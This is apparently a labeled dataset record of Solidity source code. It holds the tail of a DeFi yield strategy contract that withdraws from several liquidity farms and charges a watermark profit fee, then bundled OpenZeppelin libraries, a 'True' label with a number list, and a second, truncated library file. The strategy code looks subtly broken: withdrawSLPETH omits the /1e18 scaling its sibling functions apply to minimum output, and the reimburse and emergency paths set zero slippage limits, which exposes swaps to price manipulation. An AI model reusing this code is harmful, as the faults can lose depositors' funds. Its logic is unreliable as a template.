uint SLPETHAmt = SLPETHVault.withdraw(SLPETHVault.balanceOf(address(this)) * sharePerc / 1e18);
(uint SLPAmt, uint WETHAmt) = sushiRouter.removeLiquidity(address(SLP), address(WETH), SLPETHAmt, 0, 0, address(this), block.timestamp);
uint _WETHAmt = sushiSwap(address(SLP), address(WETH), SLPAmt, SLPAmt * SLPPriceInWETHMin);
emit WithdrawSLPETH(SLPETHAmt, WETHAmt + _WETHAmt);
}
function withdrawILVETH(uint sharePerc, uint ILVPriceInWETHMin) private {
uint ILVETHAmt = ILVETHVault.withdraw(ILVETHVault.balanceOf(address(this)) * sharePerc / 1e18);
(uint ILVAmt, uint WETHAmt) = sushiRouter.removeLiquidity(address(ILV), address(WETH), ILVETHAmt, 0, 0, address(this), block.timestamp);
uint _WETHAmt = sushiSwap(address(ILV), address(WETH), ILVAmt, ILVAmt * ILVPriceInWETHMin / 1e18);
emit WithdrawILVETH(ILVETHAmt, WETHAmt + _WETHAmt);
}
function withdrawGHSTETH(uint sharePerc, uint GHSTPriceInWETHMin) private {
(uint GHSTAmt, uint WETHAmt) = GHSTETHVault.withdraw(GHSTETHVault.balanceOf(address(this)) * sharePerc / 1e18);
uniV3Swap(address(GHST), address(WETH), 10000, GHSTAmt, GHSTAmt * GHSTPriceInWETHMin / 1e18);
emit WithdrawGHSTETH(GHSTAmt, WETHAmt);
}
function withdrawREVVETH(uint sharePerc, uint REVVPriceInWETHMin) private {
uint REVVETHAmt = REVVETH.balanceOf(address(this)) * sharePerc / 1e18;
(uint REVVAmt, uint WETHAmt) = uniV2Router.removeLiquidity(address(REVV), address(WETH), REVVETHAmt, 0, 0, address(this), block.timestamp);
uint _WETHAmt = uniV2Swap(address(REVV), address(WETH), REVVAmt, REVVAmt * REVVPriceInWETHMin / 1e18);
emit WithdrawREVVETH(REVVETHAmt, WETHAmt + _WETHAmt);
}
function withdrawMVI(uint sharePerc, uint MVIPriceInWETHMin) private {
uint MVIAmt = MVI.balanceOf(address(this)) * sharePerc / 1e18;
uint WETHAmt = uniV2Swap(address(MVI), address(WETH), MVIAmt, MVIAmt * MVIPriceInWETHMin / 1e18);
emit WithdrawMVI(MVIAmt, WETHAmt);
}
function collectProfitAndUpdateWatermark() external onlyVault returns (uint fee) {
uint currentWatermark = getAllPoolInUSD(false);
uint lastWatermark = watermark;
if (currentWatermark > lastWatermark) {
uint profit = currentWatermark - lastWatermark;
fee = profit * profitFeePerc / 10000;
watermark = currentWatermark;
}
emit CollectProfitAndUpdateWatermark(currentWatermark, lastWatermark, fee);
}
/// @param signs True for positive, false for negative
function adjustWatermark(uint amount, bool signs) external onlyVault {
uint lastWatermark = watermark;
watermark = signs == true ? watermark + amount : watermark - amount;
emit AdjustWatermark(watermark, lastWatermark);
}
/// @param amount Amount to reimburse to vault contract in ETH
function reimburse(uint farmIndex, uint amount) external onlyVault returns (uint WETHAmt) {
if (farmIndex == 0) withdrawAXSETH(amount * 1e18 / getAXSETHPool(), 0);
else if (farmIndex == 1) withdrawSLPETH(amount * 1e18 / getSLPETHPool(), 0);
else if (farmIndex == 2) withdrawILVETH(amount * 1e18 / getILVETHPool(false), 0);
else if (farmIndex == 3) withdrawGHSTETH(amount * 1e18 / getGHSTETHPool(), 0);
else if (farmIndex == 4) withdrawREVVETH(amount * 1e18 / getREVVETHPool(), 0);
else if (farmIndex == 5) withdrawMVI(amount * 1e18 / getMVIPool(), 0);
WETHAmt = WETH.balanceOf(address(this));
WETH.safeTransfer(vault, WETHAmt);
emit Reimburse(WETHAmt);
}
function emergencyWithdraw() external onlyVault {
// 1e18 == 100% of share
withdrawAXSETH(1e18, 0);
withdrawSLPETH(1e18, 0);
withdrawILVETH(1e18, 0);
withdrawGHSTETH(1e18, 0);
withdrawREVVETH(1e18, 0);
withdrawMVI(1e18, 0);
uint WETHAmt = WETH.balanceOf(address(this));
WETH.safeTransfer(vault, WETHAmt);
watermark = 0;
emit EmergencyWithdraw(WETHAmt);
}
function sushiSwap(address from, address to, uint amount, uint amountOutMin) private returns (uint) {
address[] memory path = new address[](2);
path[0] = from;
path[1] = to;
return sushiRouter.swapExactTokensForTokens(amount, amountOutMin, path, address(this), block.timestamp)[1];
}
function uniV2Swap(address from, address to, uint amount, uint amountOutMin) private returns (uint) {
address[] memory path = new address[](2);
path[0] = from;
path[1] = to;
return uniV2Router.swapExactTokensForTokens(amount, amountOutMin, path, address(this), block.timestamp)[1];
}
function uniV3Swap(address tokenIn, address tokenOut, uint24 fee, uint amountIn, uint amountOutMin) private returns (uint amountOut) {
IUniV3Router.ExactInputSingleParams memory params =
IUniV3Router.ExactInputSingleParams({
tokenIn: tokenIn,
tokenOut: tokenOut,
fee: fee,
recipient: address(this),
deadline: block.timestamp,
amountIn: amountIn,
amountOutMinimum: amountOutMin,
sqrtPriceLimitX96: 0
});
amountOut = uniV3Router.exactInputSingle(params);
}
function setVault(address _vault) external onlyOwner {
require(vault == address(0), "Vault set");
vault = _vault;
}
function setProfitFeePerc(uint _profitFeePerc) external onlyVault {
profitFeePerc = _profitFeePerc;
}
function getPath(address tokenA, address tokenB) private pure returns (address[] memory path) {
path = new address[](2);
path[0] = tokenA;
path[1] = tokenB;
}
function getAXSETHPool() private view returns (uint) {
uint AXSETHVaultPool = AXSETHVault.getAllPoolInETH();
if (AXSETHVaultPool == 0) return 0;
return AXSETHVaultPool * AXSETHVault.balanceOf(address(this)) / AXSETHVault.totalSupply();
}
function getSLPETHPool() private view returns (uint) {
uint SLPETHVaultPool = SLPETHVault.getAllPoolInETH();
if (SLPETHVaultPool == 0) return 0;
return SLPETHVaultPool * SLPETHVault.balanceOf(address(this)) / SLPETHVault.totalSupply();
}
function getILVETHPool(bool includeVestedILV) private view returns (uint) {
uint ILVETHVaultPool = includeVestedILV ?
ILVETHVault.getAllPoolInETH():
ILVETHVault.getAllPoolInETHExcludeVestedILV();
if (ILVETHVaultPool == 0) return 0;
return ILVETHVaultPool * ILVETHVault.balanceOf(address(this)) / ILVETHVault.totalSupply();
}
function getGHSTETHPool() private view returns (uint) {
uint GHSTETHVaultPool = GHSTETHVault.getAllPoolInETH();
if (GHSTETHVaultPool == 0) return 0;
return GHSTETHVaultPool * GHSTETHVault.balanceOf(address(this)) / GHSTETHVault.totalSupply();
}
function getREVVETHPool() private view returns (uint) {
uint REVVETHAmt = REVVETH.balanceOf(address(this));
if (REVVETHAmt == 0) return 0;
uint REVVPrice = uniV2Router.getAmountsOut(1e18, getPath(address(REVV), address(WETH)))[1];
(uint112 reserveREVV, uint112 reserveWETH,) = REVVETH.getReserves();
uint totalReserve = reserveREVV * REVVPrice / 1e18 + reserveWETH;
uint pricePerFullShare = totalReserve * 1e18 / REVVETH.totalSupply();
return REVVETHAmt * pricePerFullShare / 1e18;
}
function getMVIPool() private view returns (uint) {
uint MVIAmt = MVI.balanceOf(address(this));
if (MVIAmt == 0) return 0;
uint MVIPrice = uniV2Router.getAmountsOut(1e18, getPath(address(MVI), address(WETH)))[1];
return MVIAmt * MVIPrice / 1e18;
}
function getEachPool(bool includeVestedILV) private view returns (uint[] memory pools) {
pools = new uint[](6);
pools[0] = getAXSETHPool();
pools[1] = getSLPETHPool();
pools[2] = getILVETHPool(includeVestedILV);
pools[3] = getGHSTETHPool();
pools[4] = getREVVETHPool();
pools[5] = getMVIPool();
}
/// @notice This function return only farms TVL in ETH
function getAllPool(bool includeVestedILV) public view returns (uint) {
uint[] memory pools = getEachPool(includeVestedILV);
return pools[0] + pools[1] + pools[2] + pools[3] + pools[4] + pools[5];
}
function getAllPoolInUSD(bool includeVestedILV) public view returns (uint) {
uint ETHPriceInUSD = uint(IChainlink(0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419).latestAnswer()); // 8 decimals
require(ETHPriceInUSD > 0, "ChainLink error");
return getAllPool(includeVestedILV) * ETHPriceInUSD / 1e8;
}
function getCurrentCompositionPerc() external view returns (uint[] memory percentages) {
uint[] memory pools = getEachPool(false);
uint allPool = pools[0] + pools[1] + pools[2] + pools[3] + pools[4] + pools[5];
percentages = new uint[](6);
percentages[0] = pools[0] * 10000 / allPool;
percentages[1] = pools[1] * 10000 / allPool;
percentages[2] = pools[2] * 10000 / allPool;
percentages[3] = pools[3] * 10000 / allPool;
percentages[4] = pools[4] * 10000 / allPool;
percentages[5] = pools[5] * 10000 / allPool;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20Upgradeable.sol";
import "../../../utils/AddressUpgradeable.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20Upgradeable {
using AddressUpgradeable for address;
function safeTransfer(
IERC20Upgradeable token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20Upgradeable token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20Upgradeable token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
} | True | [
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17788,
2575,
3815,
2487,
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102
]
| [
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|
pragma solidity 0.5.17;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
